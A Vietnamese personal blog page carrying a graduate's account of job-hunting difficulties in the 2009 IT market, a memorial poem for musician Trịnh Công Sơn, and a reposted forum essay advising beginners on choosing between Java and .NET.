Võ Văn Hải's blog

Chỉ có một điều tuyệt đối đó là mọi thứ đều tương đối…

Lựa chọn ngành CNTT: Tôi đã đi lầm đường hay có quá nhiều quyết định sai trái?

Posted by Võ Văn Hải on August 10, 2011

Đây là 1 comment của bạn Hoàng Minh Triết. Bạn ấy đề nghị tôi đưa lên thành 1 bài viết. Nhận thấy đây cũng là 1 chia sẻ rất hay nên tôi tôi quyết định đưa lên để mọi người cùng chia sẻ ý kiến của mình.

Cám ơn bạn Triết rất nhiều!

Lựa chọn ngành CNTT: Tôi đã đi lầm đường hay có quá nhiều quyết định sai trái?

1/ Bước vào cổng đại học

Cách đây 5 năm, sau khi tốt nghiệp PT tại 1 trường thuộc hàng top tại tp.hcm, tôi quyết định chọn thi vào ngành CNTT, và xác định trước hướng theo học là công nghệ phần mềm.

Theo lời khuyên của ba tôi, tôi cũng vào học tại 1 trung tâm đào tạo lập trình viên Aptech, để vừa có bằng đại học mà tiến thân, vừa có kỹ năng làm việc thực hành. Điều kiện của tôi thuận lợi hơn tất cả mọi người cùng trang lứa, và sức học của tôi cũng khá, dễ dàng vượt qua các bài thi. Thậm chí, đến giai đoạn chuyên ngành điểm các môn chuyên ngành có thấp lắm cũng chỉ dừng ở 7, và phổ biến ở mức 9,10.

2/ Có nên đi làm trong lúc còn đi học?

Lúc đó là vào khoảng đầu năm 3 đại học, tháng 11 năm đó, tôi cũng vừa tốt nghiệp xong chương trình LTV Aptech, và cũng hào hứng háo hức đi làm. Chỉ sau 3 ngày post hồ sơ lên các trang mạng tuyển dụng, có hơn 4 ,5 công ty gì đó mời cộng tác.

Tôi hớn hở về nhà khoe với ba mẹ, thì được ba mẹ phán cho mấy câu xanh rờn “Nhà mình đâu có thiếu thốn gì mà phải đi làm. Ba còn đi làm, kiếm ra tiền, con muốn học gì thì học, ba mẹ không có tiếc tiền với chuyện học của các con. Chuyện gì chứ chuyện học thì không bao giờ từ chối chi tiền. Giờ cứ lo học cho xong cái bằng đại học đã, rồi muốn đi làm gì thì làm.”. Khi đó tôi có vẻ xìu xuống, nhiệt huyết đi làm giảm dần nhưng vẫn chưa từ bỏ ý định.

Vài hôm sau lên văn phòng khoa xin cái bảng điểm thì gặp cô phó khoa cũng phán cho 1 câu xanh rờn từa tựa như vậy: “Mấy em cứ học xong hết đi rồi hãy đi làm, đừng có gấp, đừng có ham đi làm.”. Thời gian đó cũng sắp thi học kỳ, cộng với bao nhiêu lời khuyên của những ng xung quanh, ý định ban đầu không còn chắc chắn nữa, lung lay dần đi.

Tôi quyết định nghe theo mọi người, cũng vì câu mà mẹ tôi hay nói: “biết nghe lời đi, đứa nào cãi tao thì chỉ có chết tới bị thương”, và mỗi khi tôi thất bại thì mẹ hay lôi câu đó ra mà phán. Nghe cũng có vẻ hợp với cái lẽ: “cá không ăn muối cá ươn…”. Thế là tôi từ bỏ hẳn ý định đi làm từ sớm, mặc dù rất muốn.

3/ Ra trường

2 năm sau đó, sau khi hoàn tất chương trình đại học, và vượt qua 1 cái luận văn mà nội dung cũng thuộc hàng xương xẩu để lấy 1 điểm số tốt, tôi chính thức tốt nghiệp đh sau đúng 5 năm học. Bảng điểm sạch sẽ, không nợ môn nào trước khi làm luận văn.

Có 1 dịp tình cờ gặp lại thằng bạn thân hồi cấp 3, cũng đã tốt nghiệp ĐH Khoa học tự nhiên. 2 đứa đi cafe karaoke cả buổi với mấy đứa ban nữa để tâm sự. Nó nói: tao thất nghiệp nửa năm nay. Lúc đó tôi cười thầm, không nói gì, cũng không nghĩ gì, vì tôi lạc quan , và có niềmtin vào khả năng của bản thân để bắt đầu 1 hành trình mới:

4/ Đi tìm việc làm.

Nhìn lại bộ hồ sơ tìm việc làm:

+ bằng cấp: đủ

+ bảng điểm: tốt

+ chứng chỉ quốc tế: luôn là 1 lợi thế

+ ngoại ngữ: cũng khá, có điều chỉ đọc được tài liệu chuyên môn chứ giao tiếp thì _@#(%&$*^.

Tôi bắt đầu apply vào những công ty thuộc hàng “ăn trên ngồi trước” trước. Khổ cái:

+ cty nước ngoài thì đòi tiếng Anh giao tiếp

+ các công ty lớn thì đòi kinh nghiệm 2,3 năm.

Tôi bắt đầu “hạ chuẩn” xuống: lương thấp hơn 1 tí, công ty bình dân hơn 1 tí, thì gặp phải đòi hỏi: 1 năm kinh nghiệm: he, cái này không thành vấn đề, nhưng nhìn lại vị trí, công việc, và công nghệ sử dụng, thì nó lại có vấn đề.

5/ Khó khăn nối tiếp khó khăn

Ở ĐH cũng như Aptech, tôi chỉ học về các công nghệ cao cấp như J2EE, .NET là chủ yếu, còn những món như PHP thì không quan tâm lắm. Qua 1 thời gian theo dõi, tôi thấy các cty bây giờ hay chuộng tuyển lt viên làm web, với PHP,MYSQL và 1 số CMS như Joomla, hay Framework Drupal, Template Smarty gì gì đó. Tôi chỉ có biết 1 ít về PHP, vì nó giống C,C++, MYSQL thì cũng có khác gì nhiều so với SQLSERVER đâu, nói chung những thứ lặt vặt về web tôi đều làm được cả, chỉ là chưa biết và chưa có kinh nghiệm với cácCMS,Framework trong lĩnh vực này.

Tuy nhiên 1 cái khó nữa là đã lập trình web, phải biết về nào là Flash, Photoshop,… cái này thì tôi mù tịt hoàn toàn. Tôi chỉ biết chờ đợi xem có công việc nào phù hợp hơn với mình hay không. Nhưng càng ngày cơ hội việc làm càng ít đi. Dạo qua các trang tuyển dụng thì thấy xu hướng tuyển dung như sau:

6/ Xu hướng tuyển dụng tại VN vao thời điểm tháng 6,7 / 2009:

+ Hà Nội: tuyển ltv nhiều, ít kn hoặc mới ra trường chưa đi làm cũng được – nhưng tôi ở HCM mà v

+ HCM: tuyển ltv ít, nhưng phải có kn làm việc 2,3 năm, chỗ nào bèo lắm thì cũng 1 năm + với 1 số thứ tôi không biết như nêu trên.

Ngoài ra, các cty pm tại HCM hiện thời điểm này lại có xu hướng

+ hạn chế tuyển ltv

+ mà tuyển hàng loạt tester

+ và nhân viên kinh doanh phần mềm.

Oax, trong đh chả có môn nào đào tạo về quy trình test, hay kỹ thuật test cả, có chăng môn CNPM thì nói 1 chút, mà cũng chỉ cưỡi ngựa xem hoa qua lý thuyết, hoàn toàn không chú trọng hay nhấn mạnh gì. Còn về vị trí NV kinh doanh pm thì tôi chả quan tâm, vì tôi học rất khá , và mong muốn làm đúng vị trí chuyên môn phù hợp với mình thôi.

Đảo qua đảo lại, tôi thấy nhu cầu tuyển dụng của các cty và khả năng của tôi càng ngày càng ít “khớp nhau”, “hạ chuẩn” chút nữa, tôi chuyển sang tìm các công ty tư nhân cần nhân viên IT. Đối với các cty tư nhân tuyển NV IT như thế này, thì họ chả yêu cầu ngoại ngữ cao, cũng chả yêu cầu lập trình quá giỏi, mà cái họ cần là: 1 NV IT đa năng:

+ lập trình web

+ kiêm webmaster

+ kiêm cài phần mềm

+ bảo trì máy tính

+ đi dây mạng

+ quản trị mạng

+ quản lý csdl, ….

…cái gì cũng làm, nhưng mà lương thấp chủn.

7/ Một thoáng lo âu

Ngày qua ngày cứ lặp lại, nhiều hôm buồn thức đến 3,4 h sáng để vào mấy trang tìm việc, dù biết giờ này còn ai tuyển nữa chứ, mà những tin đó thì trong ngày đã đọc rồi. Thậm chí có những hôm chiều thứ sáu, tôi tranh thủ đọc cho hết mấy cái tin tuyển dụng rao đầy trên mạng nhưng… chả ăn nhậu gì với thứ mình cần tìm, chỉ sợ mai thứ 7 cuối tuần thì không còn gì để đọc.

Ngó lại những thứ họ cần:
+ Nếu là tuyển sv mới tốt nghiệp, thì thường là cty nước ngoài, tuyển về đào tạo lại, và cần khả năng tiếng anh rất lưu loát
+ Nếu là lập trình quản lý với java, .net , thì cần nhiều năm kinh nghiệm
+ Nếu là lập trình web với php, thì cũng phải cần flash, photoshop, design…
+ Nếu có là NV IT quèn, cũng phải cần quản trị mạng, đi dây mạng, làm những thứ linh tinh như sửa máy, cài pm
+ 1 số cty nữa tuyển nv mới tn lương cũng rất khá, nhưng lại làm việc lập trình driver, hệ thống với C,C++ cái này lĩnh vực này bó tay

+ 1 số chỗ tuyển lập trình game, lập trình mobile: không biết tí gì, muốn làm cũng phải bỏ ra vài tháng học và nghiên cứu về mobile environment, graphics 2d,3d – món này không đơn giản , mà đến lúc đó nó hết chỗ rồi (#@&$(#, mà lĩnh vực này rất ít chỗ tuyển thì phải.

8/ Tôi bị mắc sai lầm ở cái công đoạn nào nhỉ?

-> đáng lẽ ra nên chú trọng học ngoại ngữ giao tiếp, hơn là ôm cái mớ kiến thức chuyên môn cày project hết ngày này qua ngày khác?

-> đáng lẽ nên học những thứ bình dân nhưng dễ tìm việc như PHP,MYSQL,Joomla,Flash,Photoshop, hơn là những cái của cao cấp như .NET, J2EE (muốn làm thì phải có kn nhiều năm, mà mới ra trường thì….)

-> không giữ vững lập trường : đáng lẽ nên đi làm từ năm thứ 3 khi có chỗ gọi, để đến bây giờ thì cũng đã có 2 , 3 năm gọi là kinh nghiệm rồi.

Bây giờ công việc hàng ngày của tôi là: học tiếng Anh, học photoshop, học flash, và chờ có chỗ nào nó mướn làm web mà không đòi hỏi đồ họa thẩm mỹ cao thì nhào vô xơi. _o. Thế đấy, học hành cho cố vào, rồi bây giờ thất nghiệp.

Cho đến tận hôm nay, vào mấy trang tuyển việc làm cũng còn quá hẻo, toàn tuyển NV IT , quản trị mạng, và thiết kế đồ họa, flash, actionscript gì đó. Lúc mới vào đh thì CNTT là 1 ngành hot, và cái công việc lập trình viên có vẻ hấp dẫn hơn những thứ này nhiều.

Giờ ra trường rồi, thì thời thế đổi thay. Người ta còn có chỗ dựa hơi, quen biết “này nọ” mà kiếm cái chỗ nương náu, còn đây thì (#&(@#% tự bươn chải. Mặc dù rất chán nản, nhiều hôm gục lên gục xuống nhưng vẫn kiên trì, với chút hy vọng nhỏ nhoi, biết đâu “qua cơn bĩ cực tới hồi thái lai”.

Vô tình đọc được

Còn đầy là ý kiến của thầy Huy, dạy PHP ở Việt Chuyên :
Trích dẫn
Riêng về quan điểm của tôi trong nghề nghiệp, theo tôi để nhanh tiến tới thành công thì các bạn nên học tích cực khi còn đang ngồi trên ghế nhà trường. Nếu các bạn chịu khó đầu tư tiếng anh và kỹ năng lập trình từ năm nhất thì khoảng cuối năm 2 có lẽ bạn đã khá cứng cáp với nền tảng xây dựng từ đầu. Khi đó bạn có thể đi nhận các dự án theo dạng part time để lấy kinh nghiệm. Đến năm thứ 4 khi bạn ra trường bạn đã có trong tay 4 năm nghiên cứu ngôn ngữ lập trình PHP và 2 năm kinh nghiệm thực tế. Cố gắng tốt nghiệp ĐH với tấm bằng trung bình – khá hoặc khá (đừng để trung bình). Vì như thế CV của bạn sẽ mất điểm trước nhà tuyển dụng.

Mới tốt nghiệp, nhiều bạn ào ào đi làm. Nhưng tôi nghĩ các bạn lúc này hãy dành thời gian khoảng 6 tháng để review và tập trung nghiên cứu kiến thức 1 cách bài bản. Khi đã vững, bạn đừng ngấn ngại nộp vào các công ty lớn để thử sức mình với áp lực công việc.

Dựa vào 4,5 năm làm việc với PHP, tôi tin rằng chẳng mấy chốc các bạn sẽ thăng tiến khá nhanh với nghề nghiệp của mình. Và luôn nhớ rằng đừng bao giờ chấp nhận với lượng kiến thức mình đang có, hãy không ngừng cập nhật, nghiên cứu để làm giàu vốn liếng của bạn. Khi đó cơ hội tự khắc sẽ đến và bạn 1 bước sẽ leo lên vị trí cao trong ngành nghề.

Các bạn cũng nên cẩn thận 1 điều. Làm công ty lớn thì cơ hội thăng tiến đúng là rất cao. Nhưng đổi lại tình người mỏng hơn giấy. Ít bạn bè, nhiều kẻ thù là 1 sự thật trong môi trường CNTT cạnh tranh hiện nay.

Chúc các bạn thành công và đạt được như mong đợi nhé !!!

Posted in Uncategorized | 70 Comments »

10 năm nhớ Trịnh Công Sơn: Cát bụi

Posted by Võ Văn Hải on March 31, 2011

Đây là bài thơ của nhà thơ Lam Hồng – Bạn đồng nghiệp của Hải tại Khoa KH&KTMT trường Đại học Công Nghiệp TpHCM. Bài thơ tưởng nhớ Nhạc sỹ Trịnh Công Sơn.

Hay quá! Hải post lên cho mọi người cùng thưởng thức.

Cát bụi


Hạt mưa rơi rớt phận duyên
bụi đời đưa đẩy ai tiên định cùng
nào ai ai biết sắc không…
hóa an vô hạn muôn trùng nỗi đau
kiếp đời có được bao lâu
thân trên cõi thế gánh sầu đa đoan
tôi như một vệt nắng vàng

Để leo lét sáng hoang tàn niềm đau
một đời mong được có nhau
mai vàng đâu nữa rụng câu hạ buồn
vươn tay giáng ý nhạc tuôn
hình như buồn thánh mãi còn trong ta
hài bi ái ố mù sa
lớn lên thầm lặng ta bà khói sương
dậy lên u uẩn vô thường

Ôi thôi tuyệt vọng lối đường mờ sao
cát bờ biển mãi thét gào
bụi mờ mịt cõi ầm ào bão giông
tuyệt tình đời đến vô cùng
vời trong sâu thẳm lửa bừng thắp lên

Mặc cho số phận lênh đênh
trời còn rọi sáng khải huyền ta đi
soi âm u, biết huyền vi
một hình hài tục có gì bận tâm
kiếp đời vòng xoáy nhân luân
rong rêu một cõi hồng trần mà thôi
chơi vơi tao tác kiếp người

Hạt mưa thân phận biết rơi chốn nào
bụi đời xao xác hanh hao
nào ai ai biết cơ cầu với ai
hóa thân cát bụi mưa bay
kiếp đời trần thế bụi dày mưa qua
thân đời như giọt mưa sa
tôi – ta kiếp nợ tàn hoa mấy mùa

Để đời đâu chữ hơn thua
một mai, mai một mà chua chát lòng
mai vàng ươm cả mùa đông
tôi mang đau đớn trong lòng mà chi
về thôi sinh ký tử quy
làm hương gởi gió khắc ghi dòng đời
cát bụi một kiếp con người
bụi trần mờ mịt lốc trời gieo neo

Ôi làm thông…để gió reo
cát, sỏi, cây, cỏ tránh heo hắt đời
bụi trần vương vấn kiếp người
mệt thân ngày thế, rã rời canh thâu
nhoài tìm nẻo chính ở đâu

Tiếng thinh không lặng…niệm sầu miên man
động tâm, khải trí vô vàn
nào đâu nút thắc giải oan kiếp người
chuông vọng thỉnh lặng lời
nhịp trần ghi lại tiếng đời thâm u
không không, sắc sắc mịt mù
nguôi làm sao được ngục tù niềm đau

Bao giờ trút hết nỗi sầu
nhiêu khê uẩn khúc mộng cầu cõi an
năm qua, năm lại úa tàn
làm thân xe cát dã tràng mặc cho
kiếp đời cơn sóng vỗ òa
con đường sỏi đá cỏ hoa lạ lùng
người đi đi giữa thinh không

Chợt nghe thảng thốt mông lung đất trời
một vệt nắng…chiếu lẻ loi
chiều tà cô độc ráng soi phận người
tóc xanh ngày tháng qua rồi
trắng phờ phạc dấu nợ đời mà ghi
như cánh vạc cứ bay đi
vôi kia đã bạc cũng thì thế thôi

xanh xanh ngắt một thời
úa tàn theo lẽ đất trời phôi pha
trên cùng tột đỉnh phù hoa
cao sang danh vọng như là giấc mơ
rụng rời đàn đứt dây tơ
đầy ư bỗng rỗng ngẩn ngơ kiếp người

Cho thương tiếc nuối u hoài
trăm năm một kiếp con người là bao
năm dài trằn trọc vì sao
vào trong cõi mộng tưởng nào đường mơ
chết sao nẻo dại chốn khờ
một lòng phản chiến tránh bờ vực sâu
ngày tàn thảm hại giết nhau

Mặt trời trên đỉnh non cao lặn rồi
trời đen đêm tối mất rồi
nào vòng oan nghiệt rã rời nhân sinh
soi đời hư ảo nhục vinh
sáng lòng đi nhé biết mình là ai
tim minh cứu rỗi hình hài
tôi tìm tôi lại những ngày hoa đăng

Để lòng rớt nhịp băng khoăn
tình người đời loạn còn chăng hỡi người
yêu huyền thoại mẹ không nguôi
xay nát chi xin mặt trời ngủ yên
mòn trông tưởng rằng đã quên
thành tình xa, tình nhớ tiềm thức yêu
cuội rồi như đá ngây ngô

Xin rừng cây trút lá hờ hững bay
úp mặt nghe những tàn phai
mặt mưa mùa hạ ngày dài quê hương
bùi ngùi bỏ lại con đường
ngùi đau chuyện đóa quỳnh hương u tình

Từng ngày vỡ nắng thủy tinh
ngày mưa mùa hạ tay nghìn trùng xa
qua vòng tay lớn chúng ta
mỏi mòn trổ khúc nguyệt ca vọng đàn
ngóng những con mắt trần gian
tin nhau còn vết lăn trầm ướt mi
vui buồn để gió cuốn đi

Cụm vườn xưa hạ trắng ghi mơ màng
rừng xưa mấy độ hoa vàng
nào lời buồn thánh lại gần với nhau
rừng xanh xanh mãi sao
xác xơ yêu dấu tan theo mây trời
vơ xin trả nợ người
cây còn xa dấu mặt trời ngủ yên

Từ ngày đại bác ru đêm
vực đời đã mất ru em ngậm ngùi
sâu như một vết thương đời
nghe rừng xưa đã khép chơi vơi lòng
lời ru từng ngón xuân nồng
mời như nghe tiếng muôn trùng bống ơi
đá sỏi còn thấy mặt người
dậy đi tìm lại cho đời chút ơn

Ôi còn có những con đường
cát vàng chiều trên quê hương tôi về
bụi em đến tự ngàn xưa
phận đời góp lá mùa xuân mưa hồng
này lời biển nhớ, bến sông

Vết đời hiu quạnh biết nguồn cội đâu
mực hằn gọi tên bốn mùa
nào em đến từ nghìn xưa địa đàng
xoá nhòa khói trời mênh mông
bỏ im lặng thở dài trong mong chờ
không còn một cõi đi về
hay lời thiên thu gọi thề hẹn nhau

Hãy cùng lắng nghe bài hát:
Cát bụi

Posted in Uncategorized | 16 Comments »

Java hay .NET? Một bài toán nan giải của nhiều Newbie

Posted by Võ Văn Hải on June 30, 2010

Có rất nhiều bạn đang rất phân vân khi không biết chọn hướng nào, có bạn đã định hướng trước là chọn Java nhưng nghe nói .NET hay quá cũng phân vân, có bạn chọn .NET rồi nhưng lại thấy tiếc, có bạn muốn chọn cả hai thì sợ mình kham không nổi. Chính chủ nhân blog này đã từng gặp phải hoàn cảnh như vậy, nhưng khi đọc qua một số bài viết trên một diễn đàn IT thì tôi mới ngộ ra được nhiều điều. Tôi nghĩ bài viết này cũng rất có ích cho nhiều bạn trẻ khi mới tập tành học lập trình … Cám ơn các tác giả có nickname YHT và davidex về bài phân tích khá chi tiết này.

Bài viết này không nhằm vào mục đích so sánh khía cạnh kỹ thuật giữa hai công nghệ J2EE và .NET mà sẽ đi vào phân tích xem bạn nên chọn hướng nào và tại sao.

Khi so sánh giữa sinh viên đại học và sinh viên ở các trung tâm đào tạo (điển hình là ở Đại học Bách khoa Tp.HCM và học viện CNTT NIIT Vietnam) chúng ta thường hay nhắc sinh viên đại học được học nhiều kiến thức nền tảng trong khi sinh viên NIIT lại học chuyên về những công nghệ mới. Sinh viên NIIT khi ra trường có khả năng đáp ứng yêu cầu công việc nhanh nhưng lại chậm thích ứng với những công nghệ mới trong khi sinh viên đại học thì đa phần là ngược lại (dùng từ đa phần vì trong môi trường nào cũng có kẻ mạnh kẻ yếu cả). Sở dĩ có chuyện này vì các bạn ở NIIT quen cách học 1+1=2 nên khi ra trường có người bảo 1+1=0 nhớ 1 thì các bạn ú ớ không làm việc được và phải mất một khoảng thời gian khá lâu để có thể thích nghi. Các bạn quen với lối mòn là dạy gì học đấy, không dạy không học, quen với cách học là thầy dạy phải theo sách, phải gạch gạch tô tô trong sách mới được, khi giảng một phần nào ngoài sách lúc đó không chịu ngồi nghe để hiểu mà loay hoay tìm coi nó nằm ở phần nào trong sách để gạch. Khi giảng viên cung cấp tài liệu đọc thêm có nghĩa là những tài liệu đó đã được sàng lọc cẩn thận thế mà tỉ lệ các bạn đọc nó là rất ít (đọc thôi chứ chưa quan tâm đến chuyện hiểu nó).

Có một lần tôi tình cờ đọc được câu “chúng ta học cách chạy xe chứ không phải học cách chạy cái xe cụ thể nào cả” ở một blog của ai đó, suy nghĩ lại cũng hay. SV đại học họ được học quá nhiều môn nền tảng cần thiết như Cấu trúc dữ liệu, Phân tích thiết kế giải thuật, Phân tích thiết kế hệ thống,…trong khi SV NIIT cứ mải mê chạy theo công nghệ mới. Thế giới công nghệ đâu chỉ có Java hay .NET, nó còn có PHP, còn có Python, Perl, Ruby rồi còn cả C, C++ , Assembly nữa cơ, nếu bạn học chạy chiếc xe Java sau này có chiếc xe “tay ga” JaJava thì bạn có tự tin là mình chạy tốt không? SV Đại học giống như họ học nguyên tắc chung để chạy xe sau đó họ TỰ tìm cho mình một chiếc xe phù hợp với mình nhất và họ chạy, sau này thế giới có ra đời loại xe mới thì anh ta có thể điều khiển nó một cách không quá khó khăn. Thế còn trong NIIT thì sao? Trong NIIT các bạn lại an tâm rằng mình chỉ cần học cách chạy chiếc Java cá tính hay chiếc .NET sang trọng là được rồi, mấy xe khác không quan tâm.

Quay lại vấn đề chọn hướng nào, tôi xin đưa ra một vài quan điểm chủ quan của mình về hai công nghệ này. Công nghệ nào cũng có cái hay của nó cả, người mạnh mặt này, kẻ mạnh mặt kia, đối với ứng dụng này thì công nghệ này là phù hợp, ứng dụng khác lại khác, đối với khách hàng này thì nên chọn cái này trong khi khách hàng khác thì ngược lại. Thế nếu tôi chỉ biết về một công nghệ thì tôi làm sao có khả năng chọn lựa đây? Bạn sẽ hỏi ngược lại, nếu cái gì tôi cũng học hết thì làm sao tôi chịu nổi đây (không xét trên khía cạnh tài chính)? Cái quan trọng là sức bạn đến mức nào thôi!

Nếu bạn chật vật với những bài project cuối mỗi học kỳ, bạn phải chạy xin người này xin người kia, bạn rất yếu trong việc tìm hiểu một cái mới thì tôi nghĩ .NET là sự chọn tốt nhất. Bởi vì theo quan điểm của “dân .NET”, theo Microsoft (MS) cái gì cũng dễ cả, có sẵn hết rồi, kéo kéo 1 tí cũng ra cái ứng dụng, thậm chí làm cái Outlook không quá 3 ngày mà (nếu biết kết hợp các component có sẵn). Không phải không có lý khi nói như vậy vì công nghệ của MS là công nghệ “đóng” nên tất cả đều theo chuẩn của MS, mà cái Windows thì đi đâu cũng thấy nên dễ dàng tiếp cận cũng đúng. Làm việc thì bám theo một IDE (Visual Studio), theo đúng một mô hình MS đưa ra nên học sao làm vậy, nhanh ơi là nhanh. .NET cũng có những công nghệ, framework khác tuy nhiên chúng ít được ưa chuộng, ví dụ NHibernate, NStruts… Đã chọn .NET thì đừng hỏi tôi là chọn VB.NET hay C#, cái nào cũng được cả và NIIT dùng VB.NET để dạy phần đầu của .NET.

Thế theo Java (J2EE) thì sao? Nếu bạn yêu thích đam mê tìm tòi, bạn có khả năng tìm hiểu tốt một kỹ thuật mới, bạn không ngại gian khổ ở bước đầu tiên thì bạn hãy chọn hướng Java. Nói gian khổ có quá không? Cái chính là công nghệ Java có một lô các công nghệ khác đi theo nó mà bạn phải tìm hiểu như là JSP, Servlet, EJB, JDBC, JNDI, JMX, RMI… rồi lại đi đâu cũng nghe framework này framework kia như Struts 1, Struts 2, Spring, WebWork, JSF, Hibernate, TopLink, …tiếp đến là chọn tool nào phát triển đây: Eclipse, Netbeans, JBuilder, IDEA, Sun Java Studio, Oracle JDeveloper… rồi chọn web server nào để triển khai đây Websphere, WebLogic, JBoss, Tomcat…. Bạn bảo .NET design giao diện nhanh nhưng bạn có biết thế giới Java còn có WindowBuilder, có Visual Editor, có Swing Designer, có Matisse? Bạn bảo tool .NET làm web nhanh thế bạn đã dùng MyEclipse chưa? Bạn bảo .NET nhiều thư viện thế bạn dùng Commons chưa? Bạn cho rằng ứng dụng Java chạy chậm thế bạn có biết Java 6 đã cải tiến nhiều về tốc độ không?bạn có biết rằng thế giới Java đâu chỉ có AWT, Swing mà còn có SWT không? Thế giới Java có một rừng công nghệ con trong đó, nên để tìm hiểu cho vững Java thôi bạn có thể tốn cả cuộc-đời-lập-trình của mình rồi đấy!

Nếu bạn đang phân vân không biết chọn hướng nào và bạn thật sự giỏi thì tôi khuyên bạn hãy chọn cả hai hướng. Nghiên cứu nhiều hướng không bao giờ thừa cả. Tuy nhiên cùng một lúc bạn không thể học hai hay nhiều hướng vì dễ dẫn đến “tẩu hoả” bạn hãy chọn cho mình một hướng đi và hãy tìm hiểu nó cho thật thật kỹ vào, khi đã vững một công nghệ rồi thì bạn có thể bay sang những công nghệ khác để tìm hiểu. Nếu bạn cứ mải mê chạy theo công nghệ mới thì chắc bạn sẽ phải chạy suốt đời mà chẳng làm được gì cho ra hồn cả. Công nghệ thay đổi hàng ngày, hàng giờ nên bạn đang học 1 thế giới đã ra đời 100 cái mới rồi. Bạn chỉ cần nắm những cái cốt lõi nhất sau đó tha hồ mà bay nhảy, dù có cho ra JaJava hay dotdotNet bạn cũng không sợ vì bạn đã xây cái móng vững chắc rồi! Ví dụ tôi chưa từng được học VB6 nhưng khi có một chương trình nào đó bắt buộc làm bằng VB6 tôi chỉ cần tìm vài tài liệu về nó sau đó làm vài demo nho nhỏ là có thể bắt tay vào làm chương trình được rồi. Đương nhiên trình độ về VB6 của tôi không bằng những người đã nghiên cứu nó từ lâu nhưng những gì tôi học được ở công nghệ khác sẽ giúp tôi tiếp cận và làm việc được trên VB6 dễ dàng.

Có ý kiến cho rằng Java bảo mật hơn .NET, tôi không bàn về khía cạnh sâu bên trong kiến trúc mà tôi muốn triển khai ý bảo mật ở đây là thế nào. Nói đến bảo mật có nhiều dạng, nhiều lớp, bạn nói Java bảo mật hơn là muốn đề cập ở mức nào? Nếu ngôn ngữ đó bảo mật nhưng người lập trình code ẩu thì liệu nó có bảo mật không? Bạn đừng nói với tôi là hệ thống bạn có một Firewall tốt, một IDS thông minh, một con PIX của Cisco mới mua hàng ngàn đô là bảo mật hơn hệ thống của tôi, bảo mật hay không do tài của bạn điều khiển các công cụ của hệ thống bạn kìa! Bạn có biết hệ thống có thể bị tấn công ở nhiều lớp khác nhau?nếu bạn bảo mật được lớp ứng dụng liệu các lớp khác có an toàn không?

Nhiều người có quan điểm rất cực đoan, theo .NET là chê thậm tệ Java, không thèm tìm hiểu gì về nó hoặc ngược lại. Tôi thì không đồng tình với quan điểm này, đã là dân kỹ thuật thì không từ bỏ một công nghệ nào hay cả, mình không học nổi hết thì cũng nên xem coi nó là cái gì để mở mang tầm mắt của mình. Một quan điểm cực đoan như vậy sẽ chẳng có gì gọi là hay cả và nó chỉ có hại cho bạn mà thôi.

Nếu xét về cơ hội việc làm thì sao? .NET dễ kiếm việc hơn Java hay ngược lại? bạn có biết vừa rồi PSV có đợt tuyển ào ạt các chuyên viên J2EE không? .NET cũng vậy, cơ hội có việc làm là ngang nhau, cái chính vẫn là khả năng của bạn. Bạn giỏi rồi thì dù là Assembly bạn cũng có đất dụng võ!

Trong chương trình J2EE ở NIIT không thể dạy được tất cả, khi bạn học theo hướng này thì giảng viên sẽ cố gắng chỉ các bạn những phần cốt lõi nhất sau đó sẽ phụ đạo thêm về các công nghệ như JSF, Struts, JPA, Hibernate,… để bạn có thể thích ứng nhanh với công việc sau này.

Nếu quyết định chọn J2EE hay .NET rồi thì các bạn cũng nên tìm các tài liệu về các môn cơ sở ở đại học để tìm hiểu nhằm nâng cao kiến thức của mình. Hãy biết quý trọng khoảng thời gian bạn đi học để đầu tư nghiên cứu cho tốt. Thời điểm này chưa phải là lúc bạn phải chạy tới chạy lui tìm việc làm thêm nếu như gia đình bạn có khả năng tài chính đủ để nuôi bạn ăn học, hãy tập trung vào việc học 100%.

Hy vọng qua bài viết này bạn sẽ chọn được cho mình một định hướng phù hợp. Dù bạn chọn hướng nào tôi cũng xin lưu ý bạn là hãy theo hướng đó tới cùng, đừng chạy qua chạy lại cuối cùng sẽ không được gì đâu. Chúc các bạn thành công!

(Theo YHT – Forums.2it.in)

Làm một cái so sánh nho nhỏ giữa Java và .NET:

Ưu điểm:
.NET:
– Dễ phát triển, tools hỗ trợ cực tốt (Visual Studio)
– Phát triển giao diện rất dễ dàng trên Windows.
– Làm việc tốt với tất cả các công nghệ khác của Microsoft (COM, DCOM)
JAVA:
– Kiến trúc thiết kế rất tốt.
– Cộng đồng mạnh, do là công nghệ mở -> nhiều công nghệ hay ho xuất hiện từ cộng đồng (Vd: Hibernate, Spring…)
– Chạy tốt trên nhiều platform khác nhau (nhất là trên linux).

Nhược điểm:
.NET:
– Chỉ chơi tốt với “hàng” của Microsoft.
– Mã nguồn đóng, tuy các thiết kế, specification là mở (nên mới có cái Mono)
– “Làm giùm” người lập trình quá nhiều -> tạo ra những lập trình viên theo đúng “chuẩn” của Microsoft (thông thường sẽ khác chỗ này, chỗ kia so với chuẩn còn lại của thế giới).
– Muốn can thiệp sâu vào kiến trúc bên dưới hơi bị khó.
– Tuy đã có Mono Project cho Linux, nhưng các application viết bằng .NET hầu như chỉ chạy tốt trên hệ điều hành của Microsoft.
– Phải trả tiền cho Microsoft để phát triển (cái này có lẽ ko phải là một nhược điểm ở Việt Nam :wink:
JAVA:
– Khó phát triển hơn, nhất là việc debug.
– Tools hỗ trợ không mạnh bằng, đơn giản, miễn phí thì chẳng ai lo chăm chút tất cả cho bạn được.
– Có vẻ như tốc độ chậm hơn các chương trình .NET
– Bảo mật source code không tốt bằng .NET.

Nói chung theo kinh nghiệm cá nhân, khi cần phát triển một phần mềm chủ yếu chạy trên hệ điều hành Windows, tui sẽ sử dụng .NET, vì việc phát triển sẽ rất nhanh và dễ dàng. Ngược lại, nếu phát triển một ứng dụng lớn (cỡ Enterprise) và cần hoạt động trên nhiều platform khác nhau thì sẽ sử dụng Java. Tuy khó phát triển hơn, nhưng nhờ kiến trúc thiết kế rất tốt, sẽ làm cho khả năng hoạt động ổn định và khả năng mở rộng cao hơn.

Một người lập trình giỏi sẽ ko thiên về hẳn một công nghệ nào, mà biết hài hòa tận dụng theo nhu cầu của mình.

(Theo davidex – http://www.ddth.com)

Posted in Uncategorized | 35 Comments »

Chuyện độc quyền

Posted by Võ Văn Hải on January 15, 2010

